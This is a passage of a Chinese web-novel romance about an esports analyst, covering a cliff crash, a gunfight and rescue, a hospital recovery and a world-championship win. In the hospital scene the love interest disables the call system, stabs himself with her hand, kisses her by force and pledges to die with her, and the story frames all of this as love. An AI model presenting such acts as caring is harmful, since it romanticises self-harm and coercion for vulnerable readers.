姜远铭陡然一惊,脚上赶紧猛踩刹车,然而俱是徒劳,车辆越来越快,眼看就要冲破公路围栏。
“姜宛,你他妈要死,别拉上我!”望着越来越近的黑暗,姜远铭绝望哀嚎。
姜宛却仿佛听不见似的,喃喃自语:
“现在,就用它来送我们上路。”
车辆撞破围栏,发出巨大轰鸣,驶向黑暗幽深的悬崖。
车灯熄灭,山谷里回荡着车毁人亡的惨叫声,复又陷入死一般的寂静,仿佛什么都没有发生过——
凤鸣山山顶,有一块宽阔的平地。
年初下雪的时候,梁以盏和祝陶浮帮村里送完物资以后,来此欣赏山雪,风景视线很是不错。
“哎,要是不用开那么久的车,也不用爬这么久的山,能直接上来,就好了。”祝陶浮望着连绵山峦的雪景,自然而然地感慨。
没有觉得雪景有多么特别,梁以盏侧眸,闲瞥了她一眼:“直升机可以。”
“是吗,那就等雪化了,天晴以后,看看不一样的景色吧。”祝陶浮笑言。
夏末初秋,天气放晴,月朗星稀,好像一切希冀都能满足。
老旧小巧的收音机,电量在支撑着收听完晚间节目的最后一段音乐《梁祝》,完成引人注意的使命后,将将消耗殆尽。
身体已经痛得近乎麻木,但祝陶浮不敢停下脚步,她怕自己只要停止,就会倒下。
一路上树叶荆条刮得她伤痕累累,祝陶浮紧紧捏住掌心的手枪,和一把烟火。
“怎么不跑了,继续啊。”
梁煜忽然出现在道路旁,祝陶浮停止脚步,扶住旁边的树木,才堪堪站稳。
他慢悠悠地哼着曲调,赫然是方才收音机里的《梁祝》。
嘴里的小调悠扬绵长,梁煜却是抬起枪管,黑洞洞的枪口直至祝陶浮。
“乖乖跟我们走吧,弟妹。”
今夜中秋,月圆星光,祝陶浮不畏不惧,抬起手枪,也指向对面。
梁煜哟了一声,笑嘻嘻道:“小弟妹还玩枪啊,那可要当心了,你要是不小心擦枪走火,我要有个三长两短,你也一样要给我陪葬哦。”
知晓他话里的含义,无非是祝陶浮万一枪杀了他,她也逃不了干系。
祝陶浮点了点头,平静道:“你的确不配。”
下一秒,径直扣向扳机。
砰——
林中休憩的飞鸟野兽被惊醒,簌簌扑腾奔向天际。
祝陶浮瞄准向梁煜,子弹不是向人,而是千钧一发之际,射落他手里的枪支,令他无法再用枪来威胁自己。
趁着梁煜惊愕的空档,祝陶浮转身拔腿就跑,身后传来他气急败坏的声音:“梁靖明你快死过来,这丫头枪法不错,待会儿可要小心了!”
山林有尽头,继续往上是裸露光秃的石子路,祝陶浮疼得快要缺氧,一瘸一拐,爬上前方广阔的荒野平台。
风声猎猎,比冬季的风还要彻骨寒冷,吹得长发在空中凌乱,祝陶浮有些看不清前路,艰难地倚靠在
一块巨石旁边。
借着一览无余的月色,她拿出烟花看了两秒,然后用尽最后一丝力气,打火点燃。
其实她安静等待救援就可以了,但祝陶浮偏要点亮焰火。
她要引得他们主动开枪,罪行永无可赦。
任梁靖明和梁煜再失心疯,此刻后知后觉地反应过来,祝陶浮这是在玩火自焚。
于是梁靖明朝她,举起了手枪。
原本祝陶浮找准了角度,子弹应该顶多会打到自己的手臂、或者大腿,这些不太致命的位置。
然而一路疲于奔命,实在是太虚弱,她扶着悬崖边的巨石,没有站稳。
身形摇晃了一下,子弹随之穿透腹部的腰身。
轰鸣声自云海而来,撕裂山谷的寂静,是直升机疾行而来。
巨大旋翼呼啸席卷,盖过了枪击声。
舱门打开,直升机尚在空中悬停,一道清冷凛冽的身影,已然从天而降。
长靴碾过粗粝砂石,梁以盏长腿迈过,堪堪拽扶住那摇摇欲坠、中枪染血的衣裙。
身体一轻,祝陶浮终于脱力,安心地蜷靠在沉稳的怀抱里。
陆陆续续,其他的直升机、车辆接连赶到,收拾剩下残局。
最先赶到的直升机,则是第一个驶离。
一瞬间,仿佛那些生死时刻的激烈喧嚣,都是上辈子的事情。
云海之上,躺靠在温暖柔软的病床,旁边是医疗队竭尽全力地抢救治疗,祝陶浮挣扎着,赶在昏睡之前的最后一刻,想与身侧俯身、一直牵制握住她手指的男人,多说几句话。
见他一直沉默,一言不发,祝陶浮哑着嗓子,艰涩开口。
“……你别这样,我害怕。”
与灰暗天空一般的瞳眸,缓缓掀起眼睫,垂落瞥睨。
“我看你是,一点也不怕。”
以为自己的嗓子已经够哑了,然而梁以盏开口的刹那,声线喑哑得几乎快要听不清。
先前在悬崖的平台上没有看清楚,此时在明亮的机舱内,祝陶浮才发现,男人一向干净清冷的脸庞,泛着暗青色胡茬。
他将她苍白手背,贴靠在唇侧,眼睛里是异样的猩红血色,就快要漫滴出来。
静默片刻,祝陶浮悄声道:“你说,我会不会死啊。”
语气很平静,似是在闲聊,根本不像谈及生死大事。
几乎所有人,在面对生死问题时,都会给予提问者,“不会死”的答案。
梁以盏看着他,也与她一样,语气平静如常,仿佛什么都没有发生。
“没关系,你死了,我就去找你。”
时间按下停止键,又是陷入短暂的寂静,彼此间呼吸,近乎交错缠绕。
良久,祝陶浮勉强调动身体的力气,尽力冲他笑言:“那还是算了吧,我这个样子死了,当鬼的话,不太好看。”
“是吗,我这样也不好看,刚好配你。”梁以盏淡声,冷沉灰眸映照她凄艳笑意。
闻言,祝陶浮是真的笑了一下,说:“那你就是幼稚鬼。”
喉结滚动,梁以盏喑哑嗓音,缓缓沉声。
“你是……漂亮又勇敢,可爱鬼。”
第60章 上上签
洲安最顶尖医院的病房里, 最近人来人往。
豪华病房的会客区域,果篮补品快要堆放不下,看望病人的鲜花就快要摆放成一个小型花园。
涉及到枪械、境外等客观层面的原因, 也有祝陶浮自己心有余悸,担心下下签的影响仍然存在, 不想过多把梁以盏牵涉进来。
所以对外宣称此次受伤原因,是为了给CRG祈福, 遭遇意外。
初衷本身,的确是给CRG祈福,尽管祝陶浮存了一点点小私心:
她想CRG是梁以盏出资, 自己又在里面工作,无可避免的,两人命运还是相交于此。
如果给CRG求签,不再是下下签, 会不会意味着,她与他之间, 也不会是坏结果?
从朋友、同学、队员等等, 以至于曾经分开后再无联系的师兄与师姐都来看望自己。
“我这算不算因祸得福,能见到你们两重修旧好?”
祝陶浮躺在床上,冲着他们两眉眼弯弯。
师姐脸上没有一丝笑意,眼眶泛红,心疼道:“……那我宁愿不再跟他有联系。”
师兄点头:“我也是。”
“诶, 别啊,你们这刚和好,我这伤可不能白受……”祝陶浮想坐起来,奈何扯动到伤口,疼得嘶了一声。
“好好好, 我们好好的,你也一定要照顾好自己。”师姐赶忙扶着她躺下,师兄从一旁拿出枕头给她垫在身后。
“就是,你好了CRG才能好,我看平日里比赛那些装酷的小伙子,从你病房里出来,哭得跟什么似的……你给CRG祈福,神明也一定会保佑你。”师兄说。
曾经,师姐和师兄短暂地暗生情愫,两人是正一派可以结为连理。
但身在红尘之内,道观不是世外桃源,身在其中的人们,始终要走出去面对真实的世界。
现实婚姻的问题接踵而至,双方父母都不同意彼此间的亲事,而他们出生成长的地方,相隔着天南海北。
分手以后,两人再见只会徒增伤感,渐渐地有个各自的家庭,需要承担起各自的责任。
祝陶浮是他们这段时光里的一个连接,哪怕她并不属于本门派,但在他们心里,已然把她当成小师妹一样关爱对待。
所以后来,他们有意或无意地回避,但仍会在重要节日的时候,给这个小师妹送去祝福、寄去特产,只是没有再见面,难免回忆美好的过去,而现实是一地鸡毛的落寞。
如今听闻吴真道长说祝陶浮性命攸关,再加上他们看比赛时默默关注着她的动向,发现CRG发表声明,没有明说具体原因,但表示bless没有跟随全队一起、而是后面再飞去国外参与世界赛,师兄和师姐火急火燎连夜赶到洲安来看望她。
他们俩絮絮叨叨叮嘱,自然会提到她的现状。
“梁以盏也真是的,他人呢,怎么没保护好你,让你受这么重的伤?”
即使祝陶浮没有细说,师姐从蛛丝马迹里判断,梁以盏与她的关系匪浅。
“就是,要是你被他欺负了,不要怕他有钱有势,我们给你撑腰。”师兄鼓励道。
前来看望祝陶浮的人们,来往洲安的衣食住行,皆有梁氏承担,按最高规格礼待。
无论给CRG的待遇有多好,梁氏集团毕竟是资本家,投资是要求回报,利益至少。
但从梁氏接手CRG以来,钱跟不是钱似的往里投,尽管目前成绩超出预期,但相较于成本,那点利润寥寥无几,收支无法平衡,始终是亏损状态。
更遑论,眼下给所有探望人群安排的起居,奢华程度远远超过对待一个分析师应有的规格。
然而师兄师姐们询问,祝陶浮不知道从何谈起。
吴真在旁边轻咳两声,笑眯眯地说:“小陶浮,现在应该放心了吧?”
祝陶浮明了,是在说那支下下签。
“可是……”她犹豫着说。
“没有可是。”吴真笑笑,和颜悦色道。
“你自己刚刚也说,祸福相依,所以,你有没有想过。”语调一顿,吴真说。
“桃花劫,也是,桃化劫?”
—
从重症监护室出来,看望的人陆陆续续。
但都呆不了太久,就被护士委婉送客,每天的探望时间严格限制。
人来人往,除了第一天,祝陶浮睁眼见到的第一个,是梁以盏,她这几天都没再见过他。
那个时候她还说不了话,只能眼神看向他。
看到他灰暗的眼眸里有了色彩,但那颜色有些异常,是近乎血的猩红。
每天会客以后,祝陶浮陷入昏昏沉睡中。
半梦半醒之间,不知道是不是错觉,她总感到有人轻抚着自己的手指。
似是轻触,又在咬啮,指尖温烫而潮湿。
终于有一天,像是终于睡饱了,祝陶浮转了转眼珠,慢吞吞转醒。
睁开眼睛,与床边坐着的人影,正对上。
下午黄昏时刻,玻璃窗微微打开
了一条缝隙,清风拂过轻纱,暖色调的室内温馨宁静。
梁以盏的眼底,是安谧静灰,仿佛渗血的红只是错觉,如今又平和如初。
“醒了。”梁以盏淡声道,像是每一天早晨的询问。
祝陶浮只看着他,一时半会儿没有下文。
然后犹豫着,点了点头。
梁以盏依旧看着她,没有说话,祝陶浮莫名有些心虚,也不敢出声。
好在他主动站了起来,平静得去往果盘旁,问道:“吃什么。”
不明所以,祝陶浮谨慎选了个最普通的答案:“……苹果吧。”
指骨修长冷白,简单削个苹果也颇为赏心悦目,一卷果皮很快完整剥落。
一小块果肉切下,梁以盏指尖轻挑,手指触碰到她唇珠,轻润而柔软。
他收回手指,垂眸散漫道:“味道怎么样。”
身体刚刚恢复,舌尖没什么味觉,祝陶浮慢慢咀嚼,给出较为安全的评价:“一般般。”
“伤口还疼吗。”梁以盏又问,这次话题跳跃得突兀且快速。
哽咽了一下,祝陶浮将唇舌尖的汁水咽下去。
“一点点。”觑着他脸色,祝陶浮慢慢地回答。
后知后觉,发现梁以盏今天,少见地穿了件白色衬衫,平日里他的衣服多为深色。
衣袖半卷,清风吹拂白衬衣,像是学院里的清冷校草。
将剩下的大半个苹果放在床头,水果刀却没有离手,而是调转刀柄,放在祝陶浮垂落在床沿的掌心间。
就在祝陶浮好奇,他此举意欲何为,变故发生在下一秒。
方才还温和询问、给她削着苹果,梁以盏却握着她的右手,猛得将刀尖对准自己胸口,然后刺了下去。
温热鲜血瞬间涌了出来,在白衬衣上艳得灼人。
渗透她苍白指缝,漫过淤青的手背,然后渐渐滴落四散在病床里、地板上。
一时间,祝陶浮怔怔地看着他。
然后颤抖着手,本能摸索向床头的呼叫铃。
但是她用力地摁了好几下,铃声像是坏了似的,始终无人来到房间里。
“别按了。”梁以盏将她颤抖的手指,温柔地包裹住,不让她再动弹,好像刚刚握住她的手指、硬生生刺向心脏的时候,不是他似的。
祝陶浮陡然间就哭了。
“不会有人来,我已经让人切断了应招系统。”他淡淡地擦去她眼角哭红的泪水,留下一道染血的泪痕。
“放心,我不会死,就是流点血而已。”梁以盏将刀丢进果盘,坐在她身旁,平静说。
“你当时,就是这么想的吧。”
祝陶浮看着他,只是哭,哭得特别楚楚可怜,看起来特别好亲。
所以梁以盏一手强势地与她十指紧扣,一手扶着她的脸,与她交缠了一个吻。
似是蜻蜓点水的轻吻并不解渴,梁以盏狠狠地咬了上去,凛冽强迫的窒息感令她无法喘气,祝陶浮觉得席卷而来的闷热潮湿感有些熟悉。
像是她每天半梦半醒间,难以言说的凝滞晦涩。
“都说你是嘴软心也软,好说话也能很好地走近心底。”
稍稍地往后,修长骨节抚摸着她唇角的齿痕,梁以盏忽然笑了一下。
“其实你嘴硬心更硬,从来不说实话,也从来不会承认你的心。”
“你爱我吗,祝陶浮。”他问。
沾染着梁以盏的血痕,与深吻后苍白侧颜上泛起的潮红,纷乱地缠绕,祝陶浮只是看着他默默流泪,并不说话。
“不过,你说与不说,爱与不爱的,都没关系。”他凉薄地笑着,灰眸里只倒影着一个她。
“还记得我说的,你要是走了,我也跟着你一起。”梁以盏一字一顿,缓声陈述。
明明是在温暖宁静的病房,却好似迎面吹来中秋之夜、凤鸣山上万丈高空的刺骨寒风。
“从现在开始,我不管你是什么原因,什么想法,你成了什么模样,我也会是什么样子。”
“你腰腹间有枪伤,我心口上就覆盖着刀伤,你要牺牲多少,我就加倍奉还。”梁以盏注视着她,像是丝毫感觉不到疼痛,眼尾带笑。
“你去哪,我就会去哪。”
忽然间肩头湿润,不是心口的血液,而是不停掉落地泪水。
祝陶浮扑进他怀里,环抱住他。
又怕碰到他伤口,脑袋小心翼翼地避开。
小脸趴在他肩膀上,声音有些闷闷的,她说:“……我爱你。”
又怕他没有听见,扬起脸颊,清黑眼瞳湿漉漉的,复又重复。
“我爱你。”祝陶浮。
然后轻轻地,在他唇角,亲了一下。
“那你现在,可以去止血了吗?”
手心里,再次出现一个东西。
祝陶浮短暂地止住哭泣,泪眼朦胧垂眸看向掌心——
梁以盏将一支木签递给她,赫然是被绑架那天,遗落在静远观、没有来得及查看签文——
上上签。《 》
第61章 我的神明【完】
第61章 我的神明
十月下旬, 世界赛,从飞离洲安,到落地国外, 每一处衣食住行,CRG没有跟随官方lpl一起, 而是由梁氏集团一手承包。
随着电竞发展,尽管关注点的中心, 依然是比赛本身,但赛场外的热度,跟着水涨船高。
一支从未进过世界赛的队伍, CRG,于此次世界赛的亮相,技惊四座。
除了人们津津乐道的操作团战、bp战术,还有一个向来不是关注热点、这次却成为焦点的位置——分析师, 从幕后来到台前。
CRG的分析师bless,即使每一次登台, 由主教练推着轮椅上台, 看起来苍白病弱,但依然漂亮惊艳,冷脸bp选择时清冷凛然,微笑着离场时明媚艳丽。
而艳色容颜之下,每一次的穿衣搭配, 像是时装秀,各式各样的长裙剪裁精良、扬长避短,很好地遮掩行动不便的双腿,也彰显她真正的柔和静美。
连日里因身体缘故缺席采访直播间,在CRG进入八强以后, 祝陶浮状态渐渐恢复,接受了一场短暂的媒体采访。
外媒赞叹,早已听闻祝陶浮bp战术“神之一手”的称号,今日一见名不虚传,不愧为“goddess”。
祝陶浮浅浅一笑,表示担不起“女神”称号,真正的鲜花是选手们,自己只是绿叶。
提问几个关于游戏的问题,诸如版本变更、换线理解等等,最后末了,难以避免地,会提起每次登台不重样的美丽造型。
“提问bless,每次你的穿搭都是特别而好看,这都是你自己的主意吗?”媒体。
答案可能是自己,也可能是一些灵感来源,静默两三秒,祝陶浮却坦然拿起话筒,回答道。
“是我爱人。”
轮到媒体采访间集体沉默,随之而来是友善的笑意与掌声。
“那请问是谁啊?方便透露吗?”
“是圈内人吗,还是圈外人?”
“会不会是与梁氏……”
“刚刚是最后一个问题啦。”冲着镜头微微一笑,祝陶浮委婉结束访谈。
“我们还是把话题主场,交还给真正的焦点,关注到比赛和选手吧。”——
“……你别亲了,我下一场比赛还怎么见人啊。”
套房豪华偌大,房间功能各自分区,以往祝陶浮从CRG训练室回来后,会在专门布置的电竞房间再看一会儿,梁以盏则是在书房处理工作。
不知道怎么了,今天一进门,梁以盏将她从轮椅上打横抱起,放在客厅沙发上深深亲吻。
从眉心眼尾、道唇齿舌尖,近乎是撕咬吞噬,凛冽漫过她快要无法呼吸。
顾念着她的伤口,梁以盏才堪堪放过。
从她身侧站起来,膝盖半跪在沙发上,俯身凑近询问。
“你今天采访,说了什么。”嗓线喑哑,灼烫气息洒落在白皙细弱的锁骨,颈侧渐渐泛起浅绯,与她艳若桃李的面色,一般潮红。
清黑眼瞳被亲得水光潋滟,祝陶浮呼吸不稳,垂下卷翘的眼睫,躲闪着目光。
“……就是最新版本,什么时间开始换线最好……”
也有些懊恼不解,凭什么梁以盏心口同样受伤,他跟个没事人一样。没有外人在场,梁以盏都亲力亲为,将她抱进抱出,祝陶浮只能跟个玩偶娃娃一样任由他摆布。
“我说的,是最后一个问题。”修长手指轻挑着她下颌,强行逼迫她正视自己。
高空室内太过安静,而两人间的距离又相隔太近,气息交织缠绕,能清晰听到彼此心跳,看进对方心底。
祝陶浮眨了眨眼,艰难出声:“……我忘了。”
没什么情绪地应了一声,梁以盏语气很淡,吻得却很用力。
“那就帮你想起来。”
未果,祝陶浮试着偏过脸逃避,红着眼尾:“……你不是不想遮遮掩掩吗,再这样我下一场比赛,只能跟以前一样,戴口罩上去了。”
说的还是在国内比赛,那次梁以盏突然来到联盟竞技场,在后台留下吻痕后,祝陶浮只能戴着口罩,前往媒体采访间。
然而这招并不管用,梁以盏轻笑了下:“你现在这样,是欲盖弥彰。”
不戴会被看到、戴了引人遐想,祝陶浮:……
于是下一场比赛,祝陶浮的服饰是汉服,配以面纱遮盖,是活色生香的古典美人。
妆造团队打理完毕,默默退出化妆间,镜子里反射出一道清冷高挺的身影,缓慢朝着自己靠近。
“……你到底为什么执着于打扮我?”
祝陶浮坐在轮椅上,低头拨弄着衣服上的璎珞,困惑发问。
俯身替她最后整理了一下衣领处的盘扣,梁以盏嗓线沉哑。
“我一点也不想,恨不得将你藏起来,谁都找不到。”
逆着灯线,灰眸冷沉似深渊,溅不起一丝光亮。
“可我同样也希望,你能被更多的人看到,去站上更高的舞台。”
再次站起身,他双手搭在轮椅上,梁以盏推着她缓缓向前。
“那是你想要的,我愿意放手。”
画地为牢,放你自由——
四强,CRG与QSG正面交锋,双方都是最熟悉的对手。
最不愿意的内战抽签出现,这意味着,只有一支队伍,能晋级全年总决赛的最终决赛。
此前的交手记录,CRG一直是QSG的手下败将。
即使bless加入,CRG依然是在决胜局惜败于QSG。
而这一次,在世界赛的舞台上,CRG如同他们的队名一样,Courage,勇气至上。
正视对手,直面心魔。
bo5的第五局,CRG以顽强的韧性,在经济落后的局面下,依然没有放弃,最后一波团战找准进场时机,全员一条心向死而生,终于搏出一条生路。
三比二,CRG胜,作为lpl仅剩的队伍,挺进决赛——
最后一周,输掉比赛的QSG并没有放假,而是依然留在国外比赛的城市,作为CRG的陪练队。
国内外时差,实力稍微强劲的队伍,很难凑齐全员在线,队员们忙着自己的事情,甚至有的开始下赛季联系转会。
排名靠后的队伍,实力相隔档次,又很难与之匹敌,训练与实战存在差距。
QSG对于CRG是最好的选择,但对于他们自己,亦是最残忍的决定。
输给对方,还要去成就对方,人非圣贤,是很难企及的。
可最终,QSG从教练组到队员,全队主动留下,帮助CRG训练复盘。
去年是CRG作为影子战队,陪伴QSG。
一年过去,换QSG来陪着CRG。
走廊上,祁招淡淡地抽着烟,眺望窗外,不知道在想什么。
梁以盏走过去,在他身侧站定。
半晌,他道:“谢谢。”
虽是极不情愿,却是真心实意的一声道谢。
QSG全员留下,是他们队员自己的意思,但若是没有祁招主动牵线搭桥,恐怕大家心里很难过去那一道坎。
都是万里挑一的天才,没有谁会心甘情愿去当背景板。
甚至极有可能,对方会踩着自己的肩膀,登上那座最高峰。
无论如何,最终QSG依然留下,给CRG当陪练团。
为表感谢,梁氏集团出面,给QSG每个人以丰厚奖赏,最直接的就是到账入户的资金。
其他人祁招管不着,他本人没有接受。
“不用谢我,要谢就谢谢bless。”指尖挑弄着橘红,狼尾在夜风里恣肆不羁,祁招没有给他半分眼神。
梁以盏轻嗤了声,散漫道:“也是,她闻不得烟味,我该走了。”
祁招:?
说完,梁以盏转身,抬脚离开。
望着他离去的背影,祁招掐灭烟蒂,声音有些咬牙切齿的意味:“明年我就接手祁家公司,到时候她的归宿是什么,还不一定。”
祁招这个名字,曾在赛场上,屡出奇招,屡战屡胜。
但始终与最高的那座冠军奖杯,棋差一着。
而这一步之遥的遗憾,大概率会成为永远。
下一年,祁招将离开赛场,进入祁家公司。
他道德感不高,向来不屑于世俗的看法,只要他愿意。
闻言,梁以盏头也未回,只伸出右手手掌,状似同他道别挥了挥手。
在无名指的地方,有一枚素圈银戒,在昏暗灯光下熠熠生辉。
正是与祝陶浮左手无名指的那一枚,一模一样——
决赛当晚,祝陶浮一夜未眠,梁以盏就守了她一整夜。
“已经做了万全的准备,还在害怕什么。”
祝陶浮从电竞房辗转到沙发上发呆,梁以盏便从书房出来,坐在她身侧,伸手轻轻地将她揽在怀里。
靠在他肩头,看着朝阳一点点冒出云层,祝陶浮犹豫着说:
“害怕很多啊,CRG状态,他们每个人都是第一次来到世界赛,不知道临场发挥会如何,而对方是lck老牌战队,bp准备万一是压箱底没见过的套路……”
“还有QSG,他们辛辛苦苦陪练,害怕他们努力白费……
“还有那些粉丝观众们,在现场的在线上的,都尽全力支持着我们……”
“我的亲朋好友,也全都关心着……”
静静地听她诉说,梁以盏耐心而沉静,是平日里少有的认真温和,
他轻声道。
“说来说去,你害怕的,是辜负所有人的期待。”
“你最该害怕的是你自己,但你从栖梧到洲安,就是迈出了勇敢的第一步。”
“所以,不要怕辜负,你对得起自己就够了。”他说着,望向她笑了一下,冷冽灰眸泛着温柔笑意。
“而你已经,走了很长很长的一段路。”
闻言,祝陶浮抬眸看向他,认真道:“是吗,那我好像,有点对不起你。”
这个点,不是有点,应该说很多点,很多很多倍。
“你乐意,我就甘之如饴。”梁以盏说。
—
最后一天,全年的全球总决赛,占据各大媒体榜首。
万众瞩目,来自中国的lpl战队CRG,和来自韩国的lck战队WFG,究竟谁能捧起舞台中央的召唤师奖杯。
战歌响,两边选手与教练组齐齐登场。
最后一场,在bless出场的那一刻,全场热烈欢呼攀上新一轮高峰。
因为一直坐在轮椅上的bless,第一次慢慢踱步,跟随队员们,站在了舞台上。
不止因为她是bless,亦是因为她连日来温柔而坚韧的生命力,观众而动容喝彩。
CRG从队员到教练组,都穿着印有自己id的队服。
祝陶浮扎着高马尾,bless名字之下,是百褶短裙与运动鞋,整个人明媚清纯,灵动闪耀。
二比二平,生死战局来临。
第五把,双方英雄池几近耗尽,bp抉择也是几乎你追我赶,不让对方拿到任何一点优势。
最后的counter克制,来到CRG。
CRG停留很久,直至倒数的一秒。
看似一盘散沙的bp选择,在bless决定的一刻
,选手锁下的英雄,让CRG成为一个能够拖到后期的完全体系。
而选手们亦是拼尽全力,面对敌方猛烈地前期攻击,死咬着硬生生拖到大后期。
前期的团战屡战屡败,最后的大龙团战,CRG熬到体系成型,终于发挥出后期阵容优势。
只赢一次团战,是最为关键的团战,CRG成功翻盘,赢得比赛。
至此,队员chen,joy,xiaozhou,keep,yawn,教练组tan,bless,leo,得以闻名全世界——
亲朋好友全都致以最真挚的祝贺,铺天盖地如潮水涌来。
盛科大学发表庆祝:“恭喜我校学子祝陶浮,在S16全球总决赛中夺得冠军!”
祝家名下的公司,投放广告界面,是CRG.bless祝陶浮。
洲安最繁华的城市地段,以梁氏集团为中心,辐射周边,全是CRG夺冠时刻,而特写镜头,是女孩漂亮秾丽的笑靥。
只有节日才会燃放烟花的市区,自CRG夺冠,整整燃放了一周。
绚烂烟花点亮十一月的黑夜,照彻来年璀璨如白昼。
极致的欢愉过后,祝陶浮后知后觉,去年七夕,她随意发送的消息,竟然成真。
洲安长夏路上唯独对乐乐菜馆特殊照顾的店面、栖梧烟霞村母亲得以保留下来的租房、还有清心观的修缮、静远观门口粗糙土道变平整公路……
过往有意或无意的蛛丝马迹,祝陶浮知晓,都是梁以盏沉默为之。
可是当下的烟火祝陶浮记得,身侧的他是在沉睡。
“我要这一片天空,都写着我的名字。”
而那时候,自己默默无闻,蜷缩在黑暗里,对着唯一亮起的微弱手机,打下这一行字。
所以——
“你怎么偷看!不许再这样了!”
祝陶浮红着脸,发出强烈谴责。
站在落地窗前,俯瞰城市焰火,梁以盏从背后环抱着她,轻轻落吻浅笑,灰眸里映照出绚丽色彩。
“好啊。”
夺冠以后,CRG成为年度最佳俱乐部,各方发来祝贺。
CRG官微则@梁氏集团,以表感谢。
观众们纷纷来到CRG所指向的地方,庆祝感谢梁氏注资,扶大厦于将倾,使得联盟倒数来到世界之巅。
“梁董大气!梁董帅气!感谢梁董送来的世界冠军!”
“还得是梁氏财大气粗,力挽狂澜,不然小破战队做梦都梦不到能夺得冠军【落泪.jpg】”
“哈哈哈,感谢梁氏的钞能力,感恩梁董心软的财神爷!”
……
梁氏集团官方微博,从来都是公事公办,严苛肃冷。
一下子涌入各色各样的花式夸夸,冷色调的背景开始变得色彩鲜活。
良久,位于热搜榜一的梁氏集团,姗姗来迟一条最新微博。
祝陶浮没有开通微博,但梁氏集团依旧选择@她的id。《 》